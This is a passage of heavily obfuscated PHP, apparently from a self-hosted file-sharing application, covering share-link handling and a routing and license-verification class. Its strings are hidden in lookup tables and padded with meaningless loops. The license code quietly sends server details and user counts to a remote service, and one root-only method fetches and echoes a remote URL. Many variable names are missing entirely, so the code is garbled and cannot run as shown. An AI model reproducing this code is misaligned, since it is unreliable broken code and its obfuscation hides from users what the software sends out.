(!is_array($ߵ)) { return !1; } $ܧȨ = Model($[2096]); $ܧȨ->where(array($[679] => $͕))->delete(); $ߘڔ = array(); foreach ($ߵ as $ܢ) { $ = SourceModel::TYPE_USER; if ($ܢ[$[190]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[679] => $͕, $[190] => $, $[580] => intval($ܢ[$[580]]), $[2092] => 0, $[2153] => -1); if ($ܢ[$[2092]]) { $[$[2092]] = $ܢ[$[2092]]; } else { if ($ܢ[$[2153]]) { $[$[2153]] = $ܢ[$[2153]]; } } $ߘڔ[] = $; } return $ܧȨ->addAll($ߘڔ, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[秼]; $ = array($[2152] => $); $this->where($)->setAdd($[2148]); } public function numDownloadAdd($ք) { $ =& $_SERVER[秼]; $ = array($[2152] => $ք); $this->where($)->setAdd($[2149]); } protected function shareEdit($¹Ǚ, $Ҏ) { $ =& $_SERVER[秼]; $ۚ = $this->getInfo($¹Ǚ); if (!$ۚ) { return !1; } $this->_checkLinkShare($Ҏ, $ۚ); $ڔ = array(); $ӈ = explode($[50], $[2154]); foreach ($ӈ as $) { if (!array_key_exists($, $Ҏ)) { continue; } $ڔ[$] = $Ҏ[$]; } $this->shareEventAdd($ۚ[$[193]], $Ҏ, $[1953]); $this->where(array($[2152] => $¹Ǚ))->save($ڔ); if (isset($Ҏ[$[2140]])) { $this->_shareAuthSet($¹Ǚ, $Ҏ[$[2140]]); } return !0; } private function _checkLinkShare($, $ȺȄ) { $ =& $_SERVER[秼]; if ($[$[573]] != $[91]) { return; } $㪘 = $ȺȄ[$[90]][$[193]]; if ($ȺȄ[$[90]][$[33]] != $[232]) { $꩟ = $this->_folderReport($㪘); if (!$꩟) { return; } show_json(LNG($[2155]) . $[2156] . $꩟, !1); } $ҧ = Model($[913])->fileInfoGet($ȺȄ[$[90]][$[193]]); if (!$ҧ) { return; } $棋 = $this->shareFileMeta($ҧ[$[552]]); if (isset($棋[$[461]]) && $棋[$[461]] == $[91]) { show_json(LNG($[2157]), !1); } } private function _folderReport($Ұ) { $댩 =& $_SERVER[秼]; $¨Ց = array($댩[552] => array($댩[1098], 0), $댩[838] => 3); $ = Model($댩[2158])->where($¨Ց)->field($댩[552])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $댩[12], $댩[552]); $✂ = $댩[50] . $Ұ . $댩[50]; $¨Ց = array($댩[552] => array($댩[7], $), $댩[595] => array($댩[470], "\x25{$✂}\45"), $댩[516] => 0); $ = Model($댩[913])->where($¨Ց)->field($댩[2159])->find(); if (!$) { return !1; } $ʙ = substr($[$댩[595]], strpos($[$댩[595]], $✂)); $¨Ց = array($댩[193] => array($댩[7], trim($ʙ, $댩[50]))); $Ɛ֡ = Model($댩[913])->where($¨Ց)->field($댩[32])->select(); $ݰ = array_to_keyvalue($Ɛ֡, $댩[12], $댩[32]); $ݰ[] = $[$댩[32]]; return implode($댩[8], $ݰ); } protected function remove($Û) { $ŷʄ =& $_SERVER[秼]; $ = is_array($Û) ? $Û : array($Û); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$ŷʄ[677]] == $ŷʄ[91]) { Model($ŷʄ[647])->eventShare($[$ŷʄ[193]], $ŷʄ[2146]); } if ($[$ŷʄ[573]] == $ŷʄ[91]) { Model($ŷʄ[647])->eventShare($[$ŷʄ[193]], $ŷʄ[2145]); } } if (is_array($Û)) { $Û = array($ŷʄ[7], $Û); } $߆ = array($ŷʄ[679] => $Û); $Ԏ = $this->where($߆)->delete(); if ($Ԏ) { Model($ŷʄ[680])->where(array($ŷʄ[679] => $Û))->delete(); } return $Ԏ; } protected function removeBySource($禉) { $˾ =& $_SERVER[秼]; $ٶ = array($˾[502] => array($˾[503], $禉)); $ = $this->field($˾[679])->where($ٶ)->select(); $ = array_to_keyvalue($, $˾[12], $˾[679]); if (!$) { return; } $ٶ = array($˾[2152] => array($˾[503], $)); $this->where($ٶ)->delete(); Model($˾[680])->where($ٶ)->delete(); } public function listAll($) { $ =& $_SERVER[秼]; $ = array(); if ($[$[1783]]) { $[$[1783]] = $[$[1783]]; } if ($[$[848]]) { $ᄇ = $[$[849]] ? $[$[849]] : strtotime(date($[2160])); $[$[233]] = array($[410], array($[$[848]], $ᄇ)); } if ($[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[573] => array($[1098], 0), $[677] => array($[1098], 0), $[2134] => $[2086]); } if ($[$[2082]]) { $[] = array($[2131] => $[$[2082]], $[1671] => array($[470], "\x25{$[$[2082]]}\x25"), $[2134] => $[2086]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$[456]])) { return array(); } $this->_listDataApply($[$[456]]); return $; } public function listDataApply($Ñ) { $this->_listDataApply($Ñ); return $Ñ; } private function _listDataApply(&$) { $ =& $_SERVER[秼]; $ڊ = array_to_keyvalue($, $[12], $[1783]); $ڇ = Model($[608])->userListInfo(array_unique($ڊ)); $ĸ = array_to_keyvalue($, $[12], $[193]); $ = Model($[913])->sourceListInfo($ĸ, !0); foreach ($ as $ => &$⟜) { $ = $⟜[$[1783]]; $⟜[$[2161]] = $ڇ[$] ? $ڇ[$] : !1; $퓩 = $⟜[$[193]]; $⟜[$[90]] = $[$퓩] ? $[$퓩] : !1; if ($⟜[$[90]][$[516]] == $[91]) { unset($[$]); } if ($⟜[$[90]] != $[230] && !$⟜[$[90]]) { unset($[$]); } } unset($⟜); $ = array_values($); } private function _makeOrder($ǽ = '') { $蜨 =& $_SERVER[秼]; $ = array($蜨[233], $蜨[849], $蜨[2148], $蜨[2149]); $ = array($蜨[534] => $蜨[535], $蜨[536] => $蜨[537]); $ = Input::get($蜨[541], $蜨[7], $蜨[508], $); $ΐ = Input::get($蜨[542], $蜨[7], $蜨[2162], array($蜨[2079], $蜨[536])); $ΐ = $[$ΐ]; $ǽ = $ǽ . "{$}\x20{$ΐ}"; return $this->order($ǽ); } public function reportAdd($) { $ّ =& $_SERVER[秼]; $ = array($ّ[679] => $[$ّ[679]], $ّ[1783] => USER_ID); if (Model($ّ[2158])->where($)->find()) { return !1; } $Ĉ = array($ّ[679] => $[$ّ[679]], $ّ[1671] => $[$ّ[1671]], $ّ[193] => $[$ّ[193]], $ّ[552] => $[$ّ[552]], $ّ[1783] => USER_ID, $ّ[33] => $[$ّ[33]], $ّ[537] => $[$ّ[537]]); return Model($ّ[2158])->add($Ĉ); } public function reportList($) { $ =& $_SERVER[秼]; $ = array(); if ($[$[848]]) { $ = $[$[849]] ? $[$[849]] : strtotime(date($[2160])); $[$[233]] = array($[410], array($[$[848]], $)); } if (isset($[$[33]]) && in_array($[$[33]], array($[91], $[521], $[2163], $[2164], $[2165]))) { $[$[33]] = $[$[33]]; } if (isset($[$[838]]) && in_array($[$[838]], array($[230], $[91], $[521], $[2163]))) { $[$[838]] = $[$[838]]; } $˗ = Input::get($[542], $[7], $[2162], array($[2079], $[536])); $ = array($[534] => $[535], $[536] => $[537]); $ = $[2166] . $[$˗]; $ = Model($[2158])->where($)->order($)->selectPage(20); if (empty($[$[456]])) { return array(); } $݁ = array_to_keyvalue_group($[$[456]], $[838], $[679]); if (!empty($݁[0])) { $ = $݁[0]; $ = array($[679] => array($[7], $)); $Հ = $this->where($)->field($[679])->select(); $Հ = array_to_keyvalue($Հ, $[12], $[679]); $㉨ = array_diff($, $Հ); if (!empty($㉨)) { foreach ($[$[456]] as $ӳ => $ⱻ) { if (in_array($ⱻ[$[679]], $㉨)) { unset($[$[456]][$ӳ]); } } } } $this->_listDataApply($[$[456]]); return $; } public function reportStatus($) { $ڜ =& $_SERVER[秼]; $Ȁ߱ = array($ڜ[486] => $[$ڜ[486]]); $Ʃ = Model($ڜ[2158])->where($Ȁ߱)->field($ڜ[2167])->find(); if (!$Ʃ) { return !1; } $쏬ڥ = array($ڜ[838] => $[$ڜ[838]]); if ($[$ڜ[838]] == $ڜ[2163] && $Ʃ[$ڜ[838]] == $ڜ[2163]) { $쏬ڥ[$ڜ[838]] = 0; } $ժ = Model($ڜ[2158])->where($Ȁ߱)->save($쏬ڥ); if ($[$ڜ[838]] == $ڜ[521]) { if ($Ʃ[$ڜ[552]] != $ڜ[230] && $this->shareFileMeta($Ʃ[$ڜ[552]])) { $this->shareFileMeta($Ʃ[$ڜ[552]], 0); } $this->remove($Ʃ[$ڜ[679]]); return !0; } if ($ժ && $[$ڜ[838]] == $ڜ[2163]) { $Ā = $쏬ڥ[$ڜ[838]] == $ڜ[2163] ? 1 : 0; $this->shareFileMeta($Ʃ[$ڜ[552]], $Ā); $this->removeByFile($Ʃ[$ڜ[552]]); } return $ժ; } private function removeByFile($) { $ =& $_SERVER[秼]; $ː = Model($[913])->where(array($[552] => $))->field($[193])->select(); $۰ϖ = array_to_keyvalue($ː, $[12], $[193]); $ۥӷ = array($[193] => array($[7], $۰ϖ), $[573] => 1); $ː = $this->where($ۥӷ)->field($[679])->select(); if (empty($ː)) { return; } $ë = array_to_keyvalue($ː, $[12], $[679]); $this->remove($ë); } private function shareFileMeta($ߐ, $葧 = null) { $ =& $_SERVER[秼]; $ϗ = array($[552] => $ߐ, $[97] => $[2168]); if (is_null($葧)) { return Model($[2169])->where($ϗ)->find(); } $ϗ[$[461]] = $葧; Model($[2169])->add($ϗ, array(), !0); } } goto d߂Ưѕ; e疙: class Application { private $defaultModule = "\151\x6e\x64\x65\170"; private $defaultController = "\x69\156\x64\x65\x78"; private $defaultAction = "\151\x6e\144\x65\x78"; function __construct() { } public function setDefault($) { $ =& $_SERVER[秼]; $ݾ =& $_SERVER[]; $ = explode($ݾ[0], trim($, $ݾ[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $شߜ = $[697]; while (strlen($شߜ) < $[698]) { if (!$شߜ) { break; } $شߜ++; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[699]; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->yxrq1a2be9d0($ݾ[1], array($this, $ݾ[2])); } public function appRun($) { $ͯ =& $_SERVER[秼]; $ =& $_SERVER[]; $Қ = explode($[0], $); $ = $ͯ[700]; if (strlen($) < $ͯ[438]) { return; } $悴 = strtolower($Қ[0]); $Π = $ͯ[701]; while ($Π < $ͯ[702]) { if ($Π >= 0) { break; } $Π++; } $ӟ̔ = $[3]; $ɤ = $ͯ[703]; if ($悴 == $[4]) { $ӟ̔ = $[5]; $Қ[0] = $[6]; $Қ[1] = $Қ[1] . $[7]; $ = join($[0], $Қ); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ӟ̔ . $[10], $); ActionCall($); $ = $ͯ[704]; if (!$) { die; } call_user_func(array($[8], $[9]), $ӟ̔ . $[11], $); $ٗ = $ͯ[705]; if (strlen($ٗ) < $ͯ[706]) { die; } } private function autorun() { $Ѻ =& $_SERVER[]; global $config; if (count($config[$Ѻ[12]]) == 0) { return; } foreach ($config[$Ѻ[12]] as $ => $) { $this->appRun($); } } private function txji50c05e59() { $ۚ =& $_SERVER[秼]; $ =& $_SERVER[]; $Ӓ͞ = $[4]; $ = $GLOBALS[$[13]][$[14]][0]; if (!$ || strlen($) <= strlen($Ӓ͞)) { return; } if (strtolower(substr($, -strlen($Ӓ͞))) != $Ӓ͞) { return; } $ = substr($, 0, -strlen($Ӓ͞)); $ה = array($[4], $); $ǻՁ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $ۚ[707]; while (strlen($) < $ۚ[702]) { if (!$) { break; } $++; } $GLOBALS[$[13]][$[14]] = array_merge($ה, $ǻՁ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function ecpkc2b33b8f() { $ =& $_SERVER[秼]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ߣ = $_SERVER[$[16]]; $ƍ֕ = $[708]; while ($ƍ֕ < $[698]) { if ($ƍ֕ >= 0) { break; } $ƍ֕++; } $뿯 = $[17]; if (!strstr($ߣ, $뿯)) { return; } $Т = strrpos($ߣ, $뿯); $Ƞ = $[709]; if (strlen($Ƞ) < $[698]) { return; } $ = substr($ߣ, $Т + strlen($뿯)); preg_match_all($[18], $, $); $ɢ = $[710]; $ = trim($[0][0], $[19]); $事 = $[711]; if (!$事) { die; } $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[712]; if (strlen($) < $[438]) { return; } } public function run() { $ږ =& $_SERVER[秼]; $ߍ =& $_SERVER[]; $this->ecpkc2b33b8f(); $歇 = $ږ[713]; while ($歇 < $ږ[714]) { if ($歇 >= 0) { break; } $歇++; } $this->txji50c05e59(); $ = $ږ[715]; if (strlen($) < $ږ[706]) { die; } $߬ = $GLOBALS[$ߍ[13]][$ߍ[14]]; $ = $ږ[716]; while (strlen($) < $ږ[438]) { if (!$) { break; } $++; } $ْ = $GLOBALS[$ߍ[13]][$ߍ[15]]; $Μ䘼 = $ږ[717]; if (!$Μ䘼) { return; } define($ߍ[20], isset($߬[0]) && $߬[0] ? $߬[0] : $this->defaultModule); define($ߍ[21], isset($߬[1]) && $߬[0] ? $߬[1] : $this->defaultController); define($ߍ[22], isset($߬[2]) && $߬[0] ? $߬[2] : $this->defaultAction); define($ߍ[23], MOD . $ߍ[0] . ST . $ߍ[0] . ACT); $㑄 = $ږ[718]; if (!$㑄) { return; } $_SERVER[$ߍ[24]] = strtolower(ACTION); $ɻ = $ږ[719]; while (strlen($ɻ) < $ږ[702]) { if (!$ɻ) { break; } $ɻ++; } $this->autorun(); $醨 = $ږ[720]; while (strlen($醨) < $ږ[706]) { if (!$醨) { break; } $醨++; } if (count($߬) >= 3) { $this->appRun($ْ); } else { $this->appRun(ACTION); } } private $nmwybea8b394 = array(); private $mhfi4e025a73 = ''; public function dpuz7d0e9beb() { $ͩ =& $_SERVER[秼]; $Ԛ =& $_SERVER[]; $this->phjc8a6fb92d(); $ = $ͩ[721]; $this->iydo81ab7e5b(); $this->rlec20ea48f1(); $this->hers3c24a7cf(); $this->txkw6a3d8071(); $this->waqbc6de862c(); $ = $ͩ[722]; if (strlen($) < $ͩ[438]) { die; } $this->strucaca9856(); $֊ = $ͩ[723]; $this->yxrq1a2be9d0($Ԛ[25], array($this, $Ԛ[26])); $this->yxrq1a2be9d0($Ԛ[27], array($this, $Ԛ[28])); $ = $ͩ[724]; while (strlen($) < $ͩ[698]) { if (!$) { break; } $++; } $this->yxrq1a2be9d0($Ԛ[29], array($this, $Ԛ[30])); $ = $ͩ[725]; if (strlen($) < $ͩ[698]) { return; } $this->yxrq1a2be9d0($Ԛ[31], array($this, $Ԛ[32])); $ü = $ͩ[726]; if (strlen($ü) < $ͩ[438]) { return; } } public function hqrd2590f60f($) { $ =& $_SERVER[秼]; $ =& $_SERVER[]; $ = Model($[33])->get(); $џҁ = $[727]; if (!$џҁ) { return; } $к = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84], $[85]); $ = $[728]; if (strlen($) < $[438]) { return; } foreach ($к as $ȃ) { $Ż뻺 = $GLOBALS[$[86]][$[87]][$ȃ]; if (isset($[$ȃ])) { $Ż뻺 = $[$ȃ]; } $[$[88]][$[89]][$ȃ] = $Ż뻺; } $⑉ = $[$[88]][$[89]][$[46]]; $ƃ = $[729]; if (strlen($ƃ) < $[714]) { return; } unset($[$[88]][$[90]][$[91]]); $ = $[730]; if (strlen($) < $[702]) { return; } unset($[$[88]][$[90]][$[92]]); $ = $[731]; if (strlen($) < $[706]) { return; } unset($[$[88]][$[89]][$[46]]); unset($[$[88]][$[89]][$[93]]); $[$[88]][$[89]][$[94]] = array($[95] => (int) $⑉[$[96]], $[97] => (int) _get($⑉, $[98], 0)); $Ɨ = substr(md5($[99] . get_client_ip() . $[$[100]]), 0, 15); $ߺ = $[732]; if (strlen($ߺ) < $[714]) { die; } $[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $Ɨ, 3600 * 24); $[$[101]][$[103]] = Action($[104])->accessToken(); $̈́ = $[733]; while (strlen($̈́) < $[698]) { if (!$̈́) { break; } $̈́++; } $[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]]); $ = $[734]; if (strlen($) < $[706]) { die; } $[$[101]][$[107]] = base64_encode(serverInfo()); $[$[101]][$[108]] = $this->mhfi4e025a73; $ = $[735]; if (strlen($) < $[706]) { die; } if ($[$[108]] != $[109]) { $[$[101]][$[110]] = $[$[110]]; $[$[101]][$[111]] = $[$[111]]; $ = rand_string(10) . $this->mhfi4e025a73 . rand_string(5); $[$[88]][$[112]][$[113]] = $this->zxio34a3b682($, $[$[101]][$[105]]); } if ($this->mhfi4e025a73 == $[109]) { $[$[88]][$[89]][$[94]][$[98]] = 0; } $[$[101]][$[114]] = $this->versionPluginFilter(); $[$[101]][$[115]] = _get($this->nmwybea8b394, $[116], $[6]); if (KodUser::isRoot() && $this->config[$[117]]) { $[$[101]][$[118]] = WEB_ROOT; } return $; } private function waqbc6de862c() { $خ =& $_SERVER[秼]; $ =& $_SERVER[]; $Ģ = $_SERVER[$[24]] == $[119]; $၄ = $خ[736]; if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $Ģ = !0; } if ($Ģ) { $͜ = array($[108] => $this->mhfi4e025a73, $[123] => $this->ioayb6b7d6f1(), $[124] => Model($[125])->count()); if ($this->mhfi4e025a73 != $[109]) { $ = _get($this->nmwybea8b394, $[126]); if ($) { $͜[$[127]] = $; $͜[$[128]] = strtotime(_get($this->nmwybea8b394, $[129])); $͜[$[130]] = _get($this->nmwybea8b394, $[116]); } $Ӡ = Model($[33])->get($[131], $[6], !0); if (is_string($Ӡ) && substr($Ӡ, 0, 1) == $[132]) { $Ӡ = json_decode_force($Ӡ); } if (is_array($Ӡ) && $Ӡ[$[133]] && strstr($Ӡ[$[133]], $[134])) { $ĩ = explode($[134], $Ӡ[$[133]]); $͜[$[135]] = $ĩ[0]; } } $͜ = $this->gyudb76f3552(json_encode($͜), md5($[136])); $ʤ = $خ[737]; $ÿ = array($[137] => $͜); call_user_func(array($[138], $[139]), $ÿ); $ = $خ[738]; while ($ < $خ[698]) { if ($ >= 0) { break; } $++; } } if ($this->mhfi4e025a73 == $[109]) { return; } $ڣ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = Model($[33])->get(); $ÿ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); $ = $خ[739]; if (!$) { return; } foreach ($ڣ as $) { if (!isset($[$]) || !$[$]) { continue; } $ÿ[$] = $[$]; $ɓ = $خ[740]; if (!$ɓ) { return; } } call_user_func(array($[138], $[139]), $ÿ); } private function hers3c24a7cf() { $ =& $_SERVER[秼]; $݁ݯ =& $_SERVER[]; if ($_SERVER[$݁ݯ[24]] != $݁ݯ[149]) { return; } if (!KodUser::isRoot()) { die; } $ɇ뙺 = $GLOBALS[$݁ݯ[13]]; if (isset($ɇ뙺[$݁ݯ[150]])) { $this->vwecc553b9ed(); die; } if (isset($ɇ뙺[$݁ݯ[151]]) && isset($ɇ뙺[$݁ݯ[151]]) == $݁ݯ[122]) { $ɇ뙺[$݁ݯ[152]] = Model($݁ݯ[33])->get($݁ݯ[153]); } if (!isset($ɇ뙺[$݁ݯ[152]]) || strlen($ɇ뙺[$݁ݯ[152]]) != 16) { show_json($݁ݯ[154] . $ɇ뙺[$݁ݯ[152]], !1); } $ = Model($݁ݯ[33])->get($݁ݯ[100]); $ͅ = md5($_SERVER[$݁ݯ[106]] . $); $ȝ = array($݁ݯ[152] => $ɇ뙺[$݁ݯ[152]], $݁ݯ[155] => rand_string(16), $݁ݯ[156] => $݁ݯ[136], $݁ݯ[157] => $݁ݯ[158], $݁ݯ[159] => $_SERVER[$݁ݯ[160]], $݁ݯ[161] => $_SERVER[$݁ݯ[162]], $݁ݯ[163] => $_SERVER[$݁ݯ[164]], $݁ݯ[105] => $ͅ, $݁ݯ[165] => Model($݁ݯ[33])->get($݁ݯ[131])); $ = $[741]; if (strlen($) < $[714]) { return; } if (isset($ɇ뙺[$݁ݯ[151]]) && isset($ɇ뙺[$݁ݯ[151]]) == $݁ݯ[122]) { $ȝ[$݁ݯ[151]] = md5($ȝ[$݁ݯ[152]] . $݁ݯ[166] . $ȝ[$݁ݯ[155]]); } if ($ɇ뙺[$݁ݯ[167]] == $݁ݯ[168]) { $ҥ = $this->gyudb76f3552($ͅ, $݁ݯ[169]); $ş = $this->zxio34a3b682(json_encode($ȝ), $ͅ . $݁ݯ[170], 3); $ş = $ş . $݁ݯ[171] . $_SERVER[$݁ݯ[160]]; $ = $this->bsiwe707ae6d($݁ݯ[172] . $ҥ . $݁ݯ[173] . $ş, -1); show_json($, !0); } else { if ($ɇ뙺[$݁ݯ[167]] == $݁ݯ[174]) { $҇ = substr(md5($݁ݯ[175] . $ͅ), 12, 15) . $݁ݯ[176]; $ş = $this->tugme2256a99(trim($ɇ뙺[$݁ݯ[177]]), $҇, 2); $ב = json_decode($ş, !0); if (!is_array($ב) || !is_array($ב[$݁ݯ[178]]) || $ב[$݁ݯ[152]] != !0) { $ = $݁ݯ[179]; $ = $ב[$݁ݯ[178]] ? $݁ݯ[180] . $ב[$݁ݯ[178]] : $; show_json($, !1); } else { $ȝ[$݁ݯ[155]] = $ב[$݁ݯ[178]][$݁ݯ[181]]; } } else { $ב = $this->bsiwe707ae6d($݁ݯ[182], $ȝ, 10); } } if (!is_array($ב) || !is_array($ב[$݁ݯ[178]]) || $ב[$݁ݯ[152]] != !0) { $ = LNG($݁ݯ[183]); $ = $ב[$݁ݯ[178]] ? $݁ݯ[180] . $ב[$݁ݯ[178]] : $; show_json($, !1); } $̶͛ = $ב[$݁ݯ[178]]; $л = $this->xmcw7e59bae4($̶͛[$݁ݯ[184]]); $ޟ = $[742]; if (!$л || $л != $̶͛[$݁ݯ[129]]) { $ = array($݁ݯ[185] => Model($݁ݯ[33])->get($݁ݯ[100]), $݁ݯ[186] => $_SERVER[$݁ݯ[106]], $݁ݯ[187] => this_url(), $݁ݯ[161] => $_SERVER[$݁ݯ[162]]); $ş = $this->oqra0b0df1f5(json_encode($)); $this->bsiwe707ae6d($݁ݯ[188] . $ş); show_json(LNG($݁ݯ[189]), !0); } $ê = array($݁ݯ[153] => $̶͛[$݁ݯ[190]], $݁ݯ[191] => $̶͛[$݁ݯ[192]], $݁ݯ[193] => rand_string(16), $݁ݯ[108] => $̶͛[$݁ݯ[194]]); if ($ȝ[$݁ݯ[155]]) { $ê[$݁ݯ[193]] = $ȝ[$݁ݯ[155]]; } $ݨ = substr(md5($ê[$݁ݯ[191]]), 10, 10); $ = $ݨ . $ê[$݁ݯ[108]] . $ê[$݁ݯ[193]]; $á = $[743]; if (strlen($á) < $[714]) { return; } $ê[$݁ݯ[110]] = strrev(base64_encode($this->gyudb76f3552($, $݁ݯ[195]))); $Ӫ = rand_string(16); $֎ = $Ӫ . $ê[$݁ݯ[108]] . $this->gyudb76f3552(md5($ê[$݁ݯ[153]]), $Ӫ); $蹓 = $[744]; if (strlen($蹓) < $[698]) { die; } $ê[$݁ݯ[111]] = base64_encode(strrev($this->gyudb76f3552($֎, $݁ݯ[196]))); $ΐ = $[745]; while ($ΐ < $[702]) { if ($ΐ >= 0) { break; } $ΐ++; } if ($̶͛[$݁ݯ[197]] && $̶͛[$݁ݯ[197]] >= 1) { Model($݁ݯ[33])->setDeep($݁ݯ[198], $݁ݯ[122]); } Model($݁ݯ[33])->set($ê); $ݺ = md5($_SERVER[$݁ݯ[106]] . strrev($) . $ê[$݁ݯ[191]]); $ت = strrev(substr($ݺ, 10, 16)); $ז = $this->zxio34a3b682(json_encode($̶͛), $ݺ); $ = array_to_keyvalue(Model($݁ݯ[7])->listData(), $݁ݯ[199]); $㎪ = $[746]; while (strlen($㎪) < $[702]) { if (!$㎪) { break; } $㎪++; } $ = $[$݁ݯ[200]]; $ = array(); $[$ت] = $ז; Model($݁ݯ[7])->update($[$݁ݯ[201]], array($݁ݯ[202] => $)); $this->nmwybea8b394 = $̶͛; $this->mhfi4e025a73 = $ê[$݁ݯ[108]]; $this->licenseRegistSuccess(); $ = $[747]; while ($ < $[698]) { if ($ >= 0) { break; } $++; } Cache::set($݁ݯ[203] . md5($ . $݁ݯ[204]), $݁ݯ[6]); show_json(LNG($݁ݯ[189]), !0); } private function licenseRegistSuccess() { $ِ =& $_SERVER[秼]; $匳 =& $_SERVER[]; $懫 = Model($匳[33])->get(); $ǵ叨 = $ِ[748]; if (strlen($ǵ叨) < $ِ[714]) { die; } if ($懫[$匳[63]] != $匳[122]) { Model($匳[33])->set($匳[63], $匳[122]); } Action($匳[205])->initStart(!0); } private function vwecc553b9ed() { $Lj =& $_SERVER[秼]; $Ē =& $_SERVER[]; Model($Ē[33])->set(array($Ē[153] => $Ē[6], $Ē[191] => $Ē[6], $Ē[108] => $Ē[109], $Ē[110] => $Ē[6], $Ē[111] => $Ē[6])); $ = $Lj[749]; Model($Ē[33])->setDeep($Ē[198], $Ē[206]); $ = $Lj[750]; if (strlen($) < $Lj[702]) { die; } $this->nmwybea8b394 = array(); $ = $Lj[751]; $this->mhfi4e025a73 = $Ē[109]; $ = $Lj[752]; while (strlen($) < $Lj[706]) { if (!$) { break; } $++; } } private function phjc8a6fb92d() { $IJ =& $_SERVER[秼]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $ = $IJ[753]; if (strlen($) < $IJ[698]) { die; } $this->mhfi4e025a73 = $[109]; $ʲà = $IJ[754]; if (strlen($ʲÃ) < $IJ[438]) { return; } $ԥ = Model($[33])->get(); if ($ԥ[$[108]] == $[109]) { return; } $͂ = Model($[33])->get($[100]); $Ӭ = $[203] . md5($͂ . $[204]); $俌 = Cache::get($Ӭ); $̏ʾ = $IJ[755]; if (strlen($̏ʾ) < $IJ[438]) { return; } if (!is_array($俌) || !isset($俌[$[207]]) || time() - $俌[$[207]] >= 60) { $沤 = Model($[7])->loadList(); $Ѳܠ = $沤[$[200]]; $Ӌ = md5($_SERVER[$[106]] . strrev($͂) . $ԥ[$[191]]); $蓢 = strrev(substr($Ӌ, 10, 16)); $俌 = $this->tugme2256a99($Ѳܠ[$[86]][$蓢], $Ӌ); $俌 = json_decode($俌, !0); } if (!is_array($俌)) { return $this->vwecc553b9ed(); } $˄ = strtotime($俌[$[129]]); if (time() >= $˄) { return $this->vwecc553b9ed(); } if (!isset($俌[$[207]]) || time() - $俌[$[207]] > 20) { $俌[$[207]] = time(); Cache::set($Ӭ, $俌); } $this->nmwybea8b394 = $俌; $this->mhfi4e025a73 = $ԥ[$[108]]; } private function iydo81ab7e5b() { $ =& $_SERVER[秼]; $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ߥ = $[756]; if (strlen($ߥ) < $[438]) { die; } $ = $_SERVER[$[24]]; $Ɉ = $[757]; while ($Ɉ < $[698]) { if ($Ɉ >= 0) { break; } $Ɉ++; } if ($ == $[208] && $this->mhfi4e025a73 == $[109]) { show_json(LNG($[209]), !1, $[210]); } $͵ = array($[211], $[212]); if (in_array($, $͵)) { if ($this->mhfi4e025a73 == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ܻ̑ = $this->ioayb6b7d6f1(); if ($ܻ̑ != intval($[214])) { if ($ܻ̑ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function rlec20ea48f1() { $ =& $_SERVER[秼]; $ =& $_SERVER[]; $ޛ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $ޛ)) { return; } $ۂ = $[217]; $ = $[758]; if (strlen($) < $[714]) { return; } $ۂ = $this->mguk60d65ba1($ۂ, $[218]); $ی = $[759]; if (!$ی) { return; } $ҡ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $͖ = @file_get_contents($ۂ, !1, $ҡ); $ = $[760]; header($[223]); $ǻ = $[761]; if (!$ǻ) { die; } if ($͖ && strstr($͖, $[224])) { echo $͖; } die; } public function amlh00da0d67($Ǒ) { $ =& $_SERVER[秼]; $ܟ =& $_SERVER[]; if ($this->mhfi4e025a73 == $ܟ[225]) { return $Ǒ; } $βڒ = $this->versionPluginList(); $Ӏǂ = explode($ܟ[226], $this->versionPluginFilter()); $ = $[762]; if (!$) { return; } $ = array(); $ġ = $[763]; if (strlen($ġ) < $[438]) { die; } foreach ($βڒ as $ԋ => $ؘӺ) { if ($ؘӺ == $ܟ[227] && substr($this->mhfi4e025a73, 0, 1) == $ܟ[227]) { continue; } if (!in_array($ԋ, $Ӏǂ)) { $[] = $ԋ; } } foreach ($ as $ԋ) { unset($Ǒ[$ԋ]); $ʺ = $[764]; while (strlen($ʺ) < $[438]) { if (!$ʺ) { break; } $ʺ++; } } return $Ǒ; } private function versionPluginList() { $ï =& $_SERVER[]; return array($ï[228] => $ï[227], $ï[229] => $ï[227], $ï[230] => $ï[227], $ï[231] => $ï[232], $ï[233] => $ï[232], $ï[234] => $ï[232], $ï[235] => $ï[232], $ï[236] => $ï[232], $ï[237] => $ï[232], $ï[238] => $ï[232], $ï[239] => $ï[232], $ï[240] => $ï[232], $ï[241] => $ï[232], $ï[242] => $ï[232], $ï[243] => $ï[232], $ï[244] => $ï[232]); } private function versionPluginFilter() { $ַ =& $_SERVER[]; if 